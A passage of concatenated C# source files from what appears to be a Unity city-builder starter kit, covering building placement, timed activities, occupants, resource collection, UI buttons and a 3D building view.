*/
virtual public int level { get; set; }
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Buildings/Building.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
/**
* Represents a building in the game.
*/
namespace CBSK
{
public class Building : MonoBehaviour, IGridObject
{
/**
* Wrapper holding the data for this building that is persisted.
*/
protected BuildingData data;
virtual public BuildingData BuildingData
{
get { return data; }
}
/**
* View for this building.
*/
protected GameObject view;
/**
* Unique identifier for the buidling.
*/
virtual public string uid
{
get { return data.uid; }
set { data.uid = value; }
}
protected BuildingTypeData type;
/**
* The data defining the type of this building.
*/
virtual public BuildingTypeData Type
{
get { return type; }
protected set
{
type = value;
data.buildingTypeString = value.id;
}
}
/**
* State of the building.
*/
virtual public BuildingState State
{
get { return data.state; }
protected set { data.state = value; }
}
/**
* Shape of the building in terms of the grid positions it fills.
*/
virtual public List<GridPosition> Shape
{
get
{
return Type.shape;
}
}
/**
* Current position of the building
*/
virtual public GridPosition Position
{
get
{
return data.position;
}
set
{
data.position = value;
MovePosition = value;
}
}
/**
* Position the building may be moved to.
*/
virtual public GridPosition MovePosition
{
get; set;
}
/**
* Time the building started building
*/
virtual public System.DateTime StartTime
{
get { return data.startTime; }
protected set { data.startTime = value; }
}
/**
* Activities currently in progress or null if nothing in progress.
*/
virtual public Activity CurrentActivity
{
get { return data.currentActivity; }
protected set { data.currentActivity = value; }
}
/**
* Reward activity currently in progress or null if theres no automatic reward activity;
*/
virtual public Activity AutoActivity
{
get { return data.autoActivity; }
protected set { data.autoActivity = value; }
}
/**
* The completed activity awaiting acknowledgement or NONE if no activity completed.
*/
virtual public Activity CompletedActivity
{
get { return data.completedActivity; }
protected set { data.completedActivity = value; }
}
/**
* The number of auto generated resources stored in this building, ready to be collected.
*/
virtual public int StoredResources
{
get { return data.storedResources; }
protected set { data.storedResources = value; }
}
/**
* Returns true if something other than an automatic activity is in progress but not complete.
*/
virtual public bool ActivityInProgress
{
get
{
if (CurrentActivity != null || CompletedActivity != null) return true;
return false;
}
}
/**
* Returns true if the store is full.
*/
virtual public bool StoreFull
{
get
{
if (type.generationAmount > 0 && StoredResources >= type.generationStorage) return true;
return false;
}
}
/**
* Gets a list of the buildings occupants. WARNING: This is not a copy.
*/
virtual public List<OccupantData> Occupants
{
get { return data.occupants; }
}
/**
* Initialise the building with the given type and position.
*/
virtual public void Init(BuildingTypeData type, GridPosition pos)
{
data = new BuildingData();
uid = System.Guid.NewGuid().ToString();
Position = pos;
this.Type = type;
State = BuildingState.PLACING;
CurrentActivity = null;
CompletedActivity = null;
view = gameObject;
view.SendMessage("UI_Init", this);
view.SendMessage("SetPosition", data.position);
}
/**
* Initialise the building with the given data
*/
virtual public void Init(BuildingTypeData type, BuildingData data)
{
StartCoroutine(DoInit(type, data));
}
/**
* Used on obstacles to start the clearing activity.
*/
virtual public void StartClear()
{
StartCoroutine(GenericActivity(ActivityType.CLEAR, System.DateTime.Now, ""));
}
/**
* Create a building from data. Uses a coroutine to ensure view can be synced with data.
*/
protected virtual IEnumerator DoInit(BuildingTypeData type, BuildingData data)
{
this.data = data;
this.type = type;
this.Position = data.position;
// Ensure occupant type references are loaded
if (data.occupants != null)
{
foreach (OccupantData o in data.occupants)
{
o.Type = OccupantManager.GetInstance().GetOccupantTypeData(o.occupantTypeString);
OccupantManager.GetInstance().RecruitedOccupant(o);
}
}
// Update view
view = gameObject;
view.SendMessage("UI_Init", this);
view.SendMessage("SetPosition", data.position);
view.SendMessage("UI_UpdateState");
// Wait one frame to ensure everything is initialised
yield return true;
if (data.state == BuildingState.IN_PROGRESS || data.state == BuildingState.READY)
{
StartCoroutine(BuildActivity(data.startTime));
}
else
{
// Activities
if (data.completedActivity != null && data.completedActivity.Type != ActivityType.BUILD && data.completedActivity.Type != ActivityType.NONE)
{
StartCoroutine(GenericActivity(data.completedActivity.Type, data.completedActivity.StartTime, data.completedActivity.SupportingId));
}
else if (data.currentActivity != null && data.currentActivity.Type != ActivityType.BUILD && data.currentActivity.Type != ActivityType.NONE)
{
StartCoroutine(GenericActivity(data.currentActivity.Type, data.currentActivity.StartTime, data.currentActivity.SupportingId));
}
// Auto activities
if (!Type.isObstacle)
{
if (data.autoActivity != null)
{
System.TimeSpan span = System.DateTime.Now - data.autoActivity.StartTime;
int iterations = ((int)span.TotalSeconds) / type.generationTime;
int generated = iterations * type.generationAmount;
StoredResources = StoredResources + generated;
if (StoredResources > type.generationStorage) StoredResources = type.generationStorage;
// If storage not full resume activity
if (type.generationAmount > 0 && StoredResources < type.generationStorage)
{
System.DateTime newStartTime = data.autoActivity.StartTime + new System.TimeSpan(0, 0, iterations * type.generationTime);
StartAutomaticActivity(newStartTime);
}
else
{
AutoActivity = null;
}
}
else if (type.generationAmount > 0 && StoredResources < type.generationStorage)
{
// Start auto activty if one not saved
StartAutomaticActivity(System.DateTime.Now);
}
// If more than 50% full and no other activity to show then show a store collect indicator
if (type.generationAmount > 0 && CompletedActivity == null && CurrentActivity == null && StoredResources >= type.generationStorage * 0.5f)
{
view.SendMessage("UI_StoreFull");
}
}
}
}
/**
* Place the building.
*/
virtual public void Place()
{
State = BuildingState.IN_PROGRESS;
StartTime = System.DateTime.Now;
view.SendMessage("UI_UpdateState");
StartCoroutine(BuildActivity(System.DateTime.Now));
}
/**
* Acknowledge the building.
*/
virtual public void Acknowledge()
{
State = BuildingState.BUILT;
view.SendMessage("UI_UpdateState");
if (!Type.isObstacle && Type.generationAmount > 0)
{
StartAutomaticActivity(System.DateTime.Now);
}
CurrentActivity = null;
CompletedActivity = null;
}
/**
* Speed up activity for a certian amount of gold.
*/
virtual public void SpeedUp()
{
if (CurrentActivity == null)
{
Debug.LogError("Tried to speed up but no activity in progress");
return;
}
if (CurrentActivity.Type == ActivityType.BUILD)
{
CompletedActivity = CurrentActivity;
CurrentActivity = null;
// Acknowledge();
}
else
{
CompletedActivity = CurrentActivity;
CurrentActivity = null;
AcknowledgeActivity();
}
}
/**
* Start generic activity and subtract any cost.
* Returns true if cost can be paid, otherwise returns false and doesn't start the activity.h
*/
virtual public bool StartActivity(string type, System.DateTime startTime, string supportingId)
{
switch (type)
{
case ActivityType.CLEAR:
if (ResourceManager.Instance.Resources < this.type.cost) return false;
ResourceManager.Instance.RemoveResources(this.type.cost);
break;
case ActivityType.RECRUIT:
OccupantTypeData odata = OccupantManager.GetInstance().GetOccupantTypeData(supportingId);
if (ResourceManager.Instance.Resources < odata.cost) return false;
ResourceManager.Instance.RemoveResources(odata.cost);
break;
default:
ActivityData data = ActivityManager.GetInstance().GetActivityData(type);
if (data != null && ResourceManager.Instance.Resources < data.activityCost) return false;
ResourceManager.Instance.RemoveResources(data.activityCost);
break;
}
StartCoroutine(GenericActivity(type, startTime, supportingId));
return true;
}
/**
* Start an automatic activity.
*/
virtual public void StartAutomaticActivity(System.DateTime startTime)
{
StartCoroutine(AutomaticActivity(startTime));
}
/**
* Acknowledge generic activity.
*/
virtual public void AcknowledgeActivity()
{
if (CompletedActivity != null && CompletedActivity.Type == ActivityType.CLEAR)
{
ResourceManager.Instance.AddXp(ActivityManager.GetInstance().GetXpForCompletingActivity(CompletedActivity));
CurrentActivity = null;
CompletedActivity = null;
BuildingManager.GetInstance().ClearObstacle(this);
view.SendMessage("UI_AcknowledgeActivity");
}
else if (CompletedActivity != null && CompletedActivity.Type == ActivityType.RECRUIT)
{
ResourceManager.Instance.AddXp(ActivityManager.GetInstance().GetXpForCompletingActivity(CompletedActivity));
CreateOccupant(CompletedActivity.SupportingId);
CurrentActivity = null;
CompletedActivity = null;
view.SendMessage("UI_AcknowledgeActivity");
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
}
else if (CompletedActivity != null && CompletedActivity.Type != ActivityType.NONE && CompletedActivity.Type != ActivityType.AUTOMATIC)
{
ResourceManager.Instance.AddXp(ActivityManager.GetInstance().GetXpForCompletingActivity(CompletedActivity));
ActivityData data = ActivityManager.GetInstance().GetActivityData(CompletedActivity.Type);
if (data != null)
{
switch (data.reward)
{
case RewardType.RESOURCE:
ResourceManager.Instance.AddResources(data.rewardAmount);
break;
case RewardType.GOLD:
ResourceManager.Instance.AddGold(data.rewardAmount);
break;
case RewardType.CUSTOM_RESOURCE:
ResourceManager.Instance.AddCustomResource(data.rewardId, data.rewardAmount);
break;
case RewardType.CUSTOM:
// You need to include a custom reward handler if you use the CUSTOM RewardType
SendMessage("CustomReward", CompletedActivity, SendMessageOptions.RequireReceiver);
break;
}
CurrentActivity = null;
CompletedActivity = null;
view.SendMessage("UI_AcknowledgeActivity");
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
}
else
{
Debug.LogError("Couldn't find data for activity: " + CompletedActivity.Type);
}
}
else if (StoredResources > 0)
{
Collect();
}
}
/**
* Create a new occupant and add it to this building
*/
protected void CreateOccupant(string supportingId)
{
OccupantData occupant = new OccupantData();
occupant.uid = System.Guid.NewGuid().ToString();
occupant.Type = OccupantManager.GetInstance().GetOccupantTypeData(supportingId);
occupant.occupantTypeString = occupant.Type.id;
if (data.occupants == null) data.occupants = new List<OccupantData>();
data.occupants.Add(occupant);
OccupantManager.GetInstance().RecruitedOccupant(occupant);
}
/**
* Sets the view position back to the buildings position
*/
virtual public void ResetPosition()
{
view.SendMessage("SetPosition", Position);
}
/**
* Start moving the building.
*/
virtual public void StartMoving()
{
State = BuildingState.MOVING;
view.SendMessage("UI_UpdateState");
}
/**
* Start moving the building.
*/
virtual public void FinishMoving()
{
State = BuildingState.BUILT;
view.SendMessage("UI_UpdateState");
}
/**
* Collect stored resources.
*/
virtual public void Collect()
{
switch (Type.generationType)
{
case RewardType.GOLD:
ResourceManager.Instance.AddGold(StoredResources);
break;
case RewardType.RESOURCE:
ResourceManager.Instance.AddResources(StoredResources);
break;
}
StoredResources = 0;
if (!(ActivityInProgress)) view.SendMessage("UI_AcknowledgeActivity");
// If the store was full restart the auto activity
if (AutoActivity == null) StartAutomaticActivity(System.DateTime.Now);
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
}
/**
* Start building the building.
*/
protected IEnumerator BuildActivity(System.DateTime startTime)
{
Activity activity;
activity = new Activity(ActivityType.BUILD, Type.buildTime, startTime, "");
CurrentActivity = activity;
view.SendMessage("UI_StartActivity", activity);
while (CurrentActivity != null && activity.PercentageComplete < 1.0f)
{
// Check more frequently as time gets closer, but never more frequently than once per second
yield return new WaitForSeconds(Mathf.Max(1.0f, (float)activity.RemainingTime.TotalSeconds / 15.0f));
view.SendMessage("UI_UpdateProgress", activity);
}
// If this wasn't triggered by a speed up
if (CurrentActivity != null)
{
CurrentActivity = null;
CompleteBuild();
}
}
/**
* Start a generic activity.
*/
protected IEnumerator GenericActivity(string type, System.DateTime startTime, string supportingId)
{
if (type == ActivityType.AUTOMATIC || type == ActivityType.NONE)
{
Debug.LogError("Unexpected activity type: " + type);
}
else if (type == ActivityType.CLEAR)
{
Activity activity = new Activity(type, this.type.buildTime, startTime, supportingId);
CurrentActivity = activity;
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_StartActivity", activity);
while (CurrentActivity != null && CurrentActivity.PercentageComplete < 1.0f)
{
view.SendMessage("UI_UpdateProgress", activity);
// Check more frequently as time gets closer, but never more frequently than once per second
yield return new WaitForSeconds(Mathf.Max(1.0f, (float)CurrentActivity.RemainingTime.TotalSeconds / 15.0f));
}
// If this wasn't triggered by a speed-up
if (CurrentActivity != null)
{
CompletedActivity = CurrentActivity;
CurrentActivity = null;
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_MOSTLY) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_CompleteActivity", type);
}
}
else if (type == ActivityType.RECRUIT)
{
Activity activity = new Activity(type, OccupantManager.GetInstance().GetOccupantTypeData(supportingId).buildTime, startTime, supportingId);
CurrentActivity = activity;
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_StartActivity", activity);
while (CurrentActivity != null && CurrentActivity.PercentageComplete < 1.0f)
{
view.SendMessage("UI_UpdateProgress", activity);
// Check more frequently as time gets closer, but never more frequently than once per second
yield return new WaitForSeconds(Mathf.Max(1.0f, (float)CurrentActivity.RemainingTime.TotalSeconds / 15.0f));
}
// If this wasn't triggered by a speed-up
if (CurrentActivity != null)
{
CompletedActivity = CurrentActivity;
CurrentActivity = null;
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_MOSTLY) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_CompleteActivity", type);
}
}
else
{
ActivityData data = ActivityManager.GetInstance().GetActivityData(type);
Activity activity = new Activity(type, data.durationInSeconds, startTime, "");
CurrentActivity = activity;
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_StartActivity", activity);
while (CurrentActivity != null && CurrentActivity.PercentageComplete < 1.0f)
{
view.SendMessage("UI_UpdateProgress", activity);
// Check more frequently as time gets closer, but never more frequently than once per second
yield return new WaitForSeconds(Mathf.Max(1.0f, (float)CurrentActivity.RemainingTime.TotalSeconds / 15.0f));
}
// If this wasn't triggered by a speed-up
if (CurrentActivity != null)
{
CompletedActivity = CurrentActivity;
CurrentActivity = null;
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_MOSTLY) PersistenceManager.GetInstance().Save();
view.SendMessage("UI_CompleteActivity", type);
}
}
}
/**
* Do automatic activity.
*/
protected IEnumerator AutomaticActivity(System.DateTime startTime)
{
AutoActivity = new Activity(ActivityType.AUTOMATIC, Type.generationTime, startTime, "");
while (StoredResources < Type.generationStorage)
{
yield return new WaitForSeconds((float)AutoActivity.RemainingTime.TotalSeconds);
StoredResources += Type.generationAmount;
if (StoredResources > Type.generationStorage) StoredResources = Type.generationStorage;
AutoActivity = new Activity(ActivityType.AUTOMATIC, Type.generationTime, System.DateTime.Now, "");
}
if (StoredResources > Type.generationStorage) StoredResources = Type.generationStorage;
AutoActivity = null;
view.SendMessage("UI_StoreFull");
}
/**
* Returns true if there is enough room in this building to fit the given occupant.
*/
virtual public bool CanFitOccupant(int occupantSize)
{
int currentSize = 0;
if (data.occupants != null)
{
foreach (OccupantData o in data.occupants)
{
currentSize += OccupantManager.GetInstance().GetOccupantTypeData(o.occupantTypeString).occupantSize;
}
}
if ((currentSize + occupantSize) <= type.occupantStorage) return true;
return false;
}
/**
* Dismiss (remove) the occupant. Returns true if occupant found and removed, otherwise false;
*/
virtual public bool DismissOccupant(OccupantData occupant)
{
if (data.occupants != null)
{
if (data.occupants.Contains(occupant))
{
data.occupants.Remove(occupant);
OccupantManager.GetInstance().DismissedOccupant(occupant);
view.SendMessage("UI_DismissOccupant", SendMessageOptions.DontRequireReceiver);
return true;
}
}
return false;
}
/**
* Finish building.
*/
virtual public void CompleteBuild()
{
State = BuildingState.READY;
view.SendMessage("UI_UpdateState");
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/UIButton.cs
using UnityEngine;
using UnityEngine.EventSystems;
using System.Collections;
using System;
namespace CBSK
{
public class UIButton : MonoBehaviour, IPointerDownHandler, IPointerUpHandler, IPointerExitHandler
{
public AudioClip audioClip;
public Vector3 pressedScale = new Vector3(1.05f, 1.05f, 1.05f);
public float pressedDuration = .2f;
public new bool enabled = true;
private AudioSource audioSource;
void Start()
{
if (audioClip != null)
{
audioSource = gameObject.AddComponent<AudioSource>();
audioSource.clip = audioClip;
}
}
public virtual void Click()
{
throw new NotImplementedException();
}
public void OnPointerDown(PointerEventData eventData)
{
StopAllCoroutines();
if (enabled)
{
StartCoroutine(Scale(pressedScale));
}
}
public void OnPointerUp(PointerEventData eventData)
{
if (enabled)
{
if (audioClip != null)
{
//Play audio
if (!audioSource.isPlaying)
{
audioSource.Play();
}
}
ScaleDown();
Click();
}
}
public void OnPointerExit(PointerEventData eventData)
{
ScaleDown();
}
private void ScaleDown()
{
StopAllCoroutines();
StartCoroutine(Scale(Vector3.one));
}
IEnumerator Scale(Vector3 scaleTo)
{
while (transform.localScale != scaleTo)
{
transform.localScale = Vector3.MoveTowards(transform.localScale, scaleTo, 1 / pressedDuration * Time.deltaTime);
yield return null;
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/DismissOccupantButton.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
namespace CBSK
{
/**
* Button for getting rid of an occupant from a building.
*/
public class DismissOccupantButton : UIButton
{
public OccupantData occupant;
public Image icon;
public Image ring;
public Image background;
public Text label;
protected bool canDismiss;
public void Init(OccupantData occupant)
{
this.occupant = occupant;
canDismiss = true;
// icon.spriteName = "cancel_icon";
ring.color = new Color(1, 0, 0);
ring.fillAmount = 1.0f;
background.fillAmount = 1.0f;
label.text = "DISMISS";
}
public void InitAsAttack(float percentageComplete)
{
canDismiss = false;
icon.sprite = SpriteManager.GetButtonSprite("army_icon");
ring.color = new Color(0.5f, 0, 1);
ring.fillAmount = percentageComplete;
background.fillAmount = percentageComplete;
label.text = "BATTLE";
}
public override void Click()
{
if (BuildingManager.ActiveBuilding != null && canDismiss)
{
BuildingManager.ActiveBuilding.DismissOccupant(occupant);
UIGamePanel.ShowPanel(PanelType.VIEW_OCCUPANTS);
}
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/3DView/Scripts/BuildingView3D.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
public class BuildingView3D : UIDraggableGridObject
{
protected GameObject[] components;
protected ParticleSystem particles;
/**
* Building this view references.
*/
protected Building building;
/**
* Internal initialisation.
*/
void Awake()
{
target = transform;
myPosition = target.position;
grid = GameObject.FindObjectOfType(typeof(AbstractGrid)) as AbstractGrid;
}
/**
* Initialise the building view.
*/
public void UI_Init(Building building)
{
this.building = building;
myPosition = transform.localPosition;
GameObject buildingViewPrefab = (GameObject)Resources.Load("3D-" + building.Type.spriteName, typeof(GameObject));
if (buildingViewPrefab != null)
{
GameObject buildingView = (GameObject)GameObject.Instantiate(buildingViewPrefab);
buildingView.transform.parent = transform;
buildingView.transform.localPosition = Vector3.zero;
components = buildingView.GetComponentsInChildren<MeshRenderer>().Select(o => o.gameObject).OrderBy(g => g.name).ToArray();
if (components.Length < 1) Debug.LogWarning("Expected building to have at least two parts.");
particles = (ParticleSystem)buildingView.GetComponentInChildren<ParticleSystem>();
}
else
{
Debug.LogWarning("Can't find prefab for building");
}
// Use post drag to set colour
PostDrag(building.Position);
}
/**
* Can we drag this object.
*/
override public bool CanDrag
{
get
{
if (building.State == BuildingState.PLACING) return true;
if (building.State == BuildingState.MOVING) return true;
return false;
}
set
{
// Do nothing
}
}
/**
* Building state changed, update view.
*/
public void UI_UpdateState()
{
switch (building.State)
{
case BuildingState.IN_PROGRESS:
if (particles != null) particles.Stop();
break;
case BuildingState.READY:
foreach (GameObject go in components)
{
go.GetComponent<Renderer>().material.color = new Color(1, 1, 1, 1);
go.SetActive(true);
}
if (particles != null) particles.Stop();
break;
case BuildingState.BUILT:
foreach (GameObject go in components)
{
go.GetComponent<Renderer>().material.color = new Color(1, 1, 1, 1);
go.SetActive(true);
}
if (particles != null) particles.Play();
break;
case BuildingState.MOVING:
foreach (GameObject go in components)
{
go.GetComponent<Renderer>().material.color = new Color(0.25f, 1, 0.25f, 1);
go.SetActive(true);
}
if (particles != null) particles.Stop();
break;
}
}
/**
* Activity completed.
*/
public void UI_StartActivity(Activity activity)
{
if (activity.Type == ActivityType.BUILD)
{
foreach (GameObject go in components)
{
go.GetComponent<Renderer>().material.color = new Color(1, 1, 1, 1);
go.SetActive(false);
}
components[0].SetActive(true);
}
}
/**
* Indicate progress on the progress ring.
*/
public void UI_UpdateProgress(Activity activity)
{
if (activity.Type == ActivityType.BUILD)
{
int max = (int)((float)components.Length * activity.PercentageComplete);
for (int i = 1; i < max && i < components.Length; i++)
{
components[i].GetComponent<Renderer>().material.color = new Color(1, 1, 1, 0.75f);
components[i].SetActive(true);
}
}
}
/**
* Activity completed.
*/
public void UI_CompleteActivity(string type)
{
if (type == ActivityType.BUILD)
{
foreach (GameObject go in components)
{
go.GetComponent<Renderer>().material.color = new Color(1, 1, 1, 1);
go.SetActive(true);
}
// Automatically Acknowledge
building.AcknowledgeActivity();
}
}
/**
* Store of auto generated rewards is full.
*/
public void UI_StoreFull()
{
}
/**
* Activity acknowledged.
*/
public void UI_AcknowledgeActivity()
{
}
/**
* After object dragged set color
*/
override protected void PostDrag(GridPosition pos)
{
if (building.State != BuildingState.MOVING)
{
building.Position = pos;
}
else
{
building.MovePosition = pos;
}
SetColor(pos);
}
/**
* Set color after drag.
*/
protected void SetColor(GridPosition pos)
{
if (BuildingModeGrid.GetInstance().CanObjectBePlacedAtPosition(building, pos))
{
foreach (GameObject go in components)
{
go.GetComponent<Renderer>().material.color = new Color(0.25f, 1, 0.25f, 1);
}
}
else
{
foreach (GameObject go in components)
{
go.GetComponent<Renderer>().material.color = new Color(1, 0.25f, 0.25f, 1);
}
}
}
public void OnClick()
{
if (building.Type.isObstacle)
{
if (building.CurrentActivity == null && building.CompletedActivity == null)
{
UIGamePanel.ShowPanel(PanelType.OBSTACLE_INFO);
if (UIGamePanel.activePanel is UIBuildingInfoPanel) ((UIBuildingInfoPanel)UIGamePanel.activePanel).InitialiseWithBuilding(building);
}
}
else if (building.State == BuildingState.BUILT)
{
UIGamePanel.ShowPanel(PanelType.BUILDING_INFO);
if (UIGamePanel.activePanel is UIBuildingInfoPanel) ((UIBuildingInfoPanel)UIGamePanel.activePanel).InitialiseWithBuilding(building);
}
}
public void OnDrag(Vector3 newPosition)
{
if (CanDrag && enabled)
{
myPosition = newPosition;
GridPosition pos = SnapToGrid();
PostDrag(pos);
}
}
/**
* Snap object to grid.
*/
override protected GridPosition SnapToGrid()
{
myPosition.y = target.localPosition.y;
GridPosition pos = grid.WorldPositionToGridPosition(myPosition);
Vector3 position = grid.GridPositionToWorldPosition(pos);
position.y = target.localPosition.y;
myPosition = position;
target.localPosition = position;
return pos;
}
/**
* Update objects position
*/
override public void SetPosition(GridPosition pos)
{
Vector3 position = grid.GridPositionToWorldPosition(pos);
position.y = target.localPosition.y;
target.localPosition = position;
myPosition = target.localPosition;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Buildings/BuildingManager.cs
using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
/**
* Manages building types and building instances. This is also the entry point for loading save game data.
*/
namespace CBSK
{
public class BuildingManager : Manager<BuildingManager>
{
/**
* Percentage of resources reclaimed when selling a building.
*/
public static float RECLAIM_PERCENTAGE = 0.75f;
/**
* Percentage of resources reclaimed as gold when selling a building. If set to 0
* you cannot sell the building for gold.
*/
public static float GOLD_SELL_PERCENTAGE = 0.01f;
/**
* The number of seconds of speed-up each gold coin buys.
*/
public static float GOLD_TO_SECONDS_RATIO = 60;
/**
* Prefab to use when creating buildings.
*/
public GameObject buildingPrefab;
/**
* The game object which buildings are parented to.
*/
public GameObject gameView;
/**
* We use the game camera to place new buildings in the middle of the screen.
*/
public Camera gameCamera;
/**
* A list of data files (resources) containing building data
*/
public List<string> buildingDataFiles;
/**
* How often to save data.
*/
public SaveMode saveMode;
/**
* Building types mapped to ids.
*/
protected Dictionary<string, BuildingTypeData> types;
/**
* Loader for loading the data.
*/
protected Loader<BuildingTypeData> loader;
/**
* Individual buildings mapped to guids.
*/
protected Dictionary<string, Building> buildings;
/**
* List of buildings in progress
*/
protected List<Building> buildingsInProgress;
/**
* Initialise the instance.
*/
override protected void Init()
{
types = new Dictionary<string, BuildingTypeData>();
buildings = new Dictionary<string, Building>();
buildingsInProgress = new List<Building>();
if (buildingDataFiles != null)
{
foreach (string dataFile in buildingDataFiles)
{
LoadBuildingDataFromResource(dataFile, false);
}
}
initialised = true;
}
void Start()
{
if (PersistenceManager.GetInstance() != null)
{
if (PersistenceManager.GetInstance().SaveGameExists())
{
SaveGameData savedGame = PersistenceManager.GetInstance().Load();
foreach (BuildingData building in savedGame.buildings)
{
if (types[building.buildingTypeString].isPath)
{
PathManager.GetInstance().CreateAndLoadPath(building);
}
else
{
CreateAndLoadBuilding(building);
}
}
ResourceManager.Instance.Load(savedGame);
ActivityManager.GetInstance().Load(savedGame);
return;
}
}
CreateNewScene();
}
/**
* Create a few obstacles if the scene is empty.
*/
virtual protected void CreateNewScene()
{
// Create a new scene
CreateObstacle("ROCK", new GridPosition(25, 25));
CreateObstacle("ROCK", new GridPosition(17, 28));
CreateObstacle("TREE", new GridPosition(28, 19));
}
/**
* Get a list of each building type.
*/
virtual public List<BuildingTypeData> GetAllBuildingTypes()
{
return types.Values.ToList();
}
/**
* Load the building type data from the given resource.
*
* @param dataFile Name of the resource to load data from.
* @param skipDuplicates If false throw an exception if a duplicate is found.
*/
virtual public void LoadBuildingDataFromResource(string dataFile, bool skipDuplicates)
{
if (loader == null) loader = new Loader<BuildingTypeData>();
List<BuildingTypeData> data = loader.Load(dataFile);
foreach (BuildingTypeData type in data)
{
try
{
types.Add(type.id, type);
}
catch (Exception ex)
{
if (!skipDuplicates) throw ex;
}
}
}
/**
* Return all completed buildings. Returns a copy of the list.
*/
virtual public List<Building> GetAllBuildings()
{
List<Building> result = new List<Building>();
result.AddRange(buildings.Values);
return result;
}
/**
* Return the type data for the given building id. Returns null if the building type is not found.
*/
virtual public BuildingTypeData GetBuildingTypeData(string id)
{
if (types.ContainsKey(id))
{
return types[id];
}
return null;
}
/**
* Return true if the player has at least one building of the given type.
*/
virtual public bool PlayerHasBuilding(string id)
{
if (buildings.Values.Where(b => b.Type.id == id).Count() > 0) return true;
return false;
}
/**
* Return true if player can build the given building. Excludes
* resource costs as we can pop up an IAP purchase window here.
*/
virtual public bool CanBuildBuilding(string buildingTypeId)
{
if (types[buildingTypeId].level > ResourceManager.Instance.Level) return false;
if (types.ContainsKey(buildingTypeId))
{
foreach (string id in types[buildingTypeId].requireIds)
{
if (!PlayerHasBuilding(id)) return false;
}
}
else
{
Debug.LogError("Unknown building id: " + buildingTypeId);
return false;
}
return true;
}
/**
* Return true if player can build the given building. Excludes
* resource costs as we can pop up an IAP purchase window here.
*/
virtual public bool CanBuildBuilding(Building building)
{
foreach (string id in building.Type.requireIds)
{
if (!PlayerHasBuilding(id)) return false;
}
return true;
}
/**
* Build a building.
*/
virtual public void CreateBuilding(string buildingTypeId)
{
if (CanBuildBuilding(buildingTypeId) && ResourceManager.Instance.CanBuild(GetBuildingTypeData(buildingTypeId)))
{
GameObject go;
go = (GameObject)Instantiate(buildingPrefab);
go.transform.parent = gameView.transform;
Building building = go.GetComponent<Building>();
Vector3 point = gameCamera.ScreenToWorldPoint(new Vector2(Screen.width / 2.0f, Screen.height / 2.0f)) + (go.transform.parent.localPosition * -1);
building.Init(types[buildingTypeId], BuildingModeGrid.GetInstance().WorldPositionToGridPosition(point));
ActiveBuilding = building;
//If we are in 2D mode, setup 2D options
if (gameCamera.orthographic)
{
go.GetComponentInChildren<Canvas>().worldCamera = Camera.main;
go.AddComponent<BoxCollider2D>();
}
ResourceManager.Instance.RemoveResources(ActiveBuilding.Type.cost);
if (ActiveBuilding.Type.additionalCosts != null)
{
foreach (CustomResource cost in ActiveBuilding.Type.additionalCosts)
{
ResourceManager.Instance.RemoveCustomResource(cost.id, cost.amount);
}
}
if ((int)saveMode < (int)SaveMode.SAVE_MOSTLY) PersistenceManager.GetInstance().Save();
}
else
{
if (CanBuildBuilding(buildingTypeId))
{
// TODO Show info message if not enough resource
}
else
{
Debug.LogError("Tried to build unbuildable building");
}
}
}
/**
* Create a building during loading process
*/
virtual public void CreateAndLoadBuilding(BuildingData data)
{
GameObject go;
go = (GameObject)Instantiate(buildingPrefab);
go.transform.parent = gameView.transform;
Building building = go.GetComponent<Building>();
building.Init(GetBuildingTypeData(data.buildingTypeString), data);
//If we are in 2D mode, setup 2D options
if (gameCamera.orthographic)
{
go.GetComponentInChildren<Canvas>().worldCamera = Camera.main;
go.AddComponent<BoxCollider2D>();
}
if (building.State != BuildingState.BUILT) buildingsInProgress.Add(building);
else buildings.Add(building.uid, building);
BuildingModeGrid.GetInstance().AddObjectAtPosition(building, data.position);
}
/**
* Place active building on the grid.
*
* Returns true if successful.
*/
virtual public bool PlaceBuilding()
{
if (CanBuildBuilding(ActiveBuilding))
{
ActiveBuilding.Place();
buildingsInProgress.Add(ActiveBuilding);
BuildingModeGrid.GetInstance().AddObjectAtPosition(ActiveBuilding, ActiveBuilding.Position);
ActiveBuilding = null;
if ((int)saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
return true;
}
return false;
}
/**
* Move active building on the grid.
*
* Returns true if successful.
*/
virtual public bool MoveBuilding()
{
BuildingModeGrid.GetInstance().RemoveObject(ActiveBuilding);
ActiveBuilding.Position = ActiveBuilding.MovePosition;
BuildingModeGrid.GetInstance().AddObjectAtPosition(ActiveBuilding, ActiveBuilding.Position);
ActiveBuilding.FinishMoving();
if ((int)saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
return true;
}
/**
* Finish active building for gold, or speed up activity if its already built.
*
* Returns true if successful.
*/
virtual public bool SpeedUp()
{
if (ActiveBuilding == null)
{
Debug.LogError("Active Building was NULL");
return false;
}
if (ActiveBuilding.CurrentActivity == null)
{
Debug.LogError("Current activity was NULL");
return false;
}
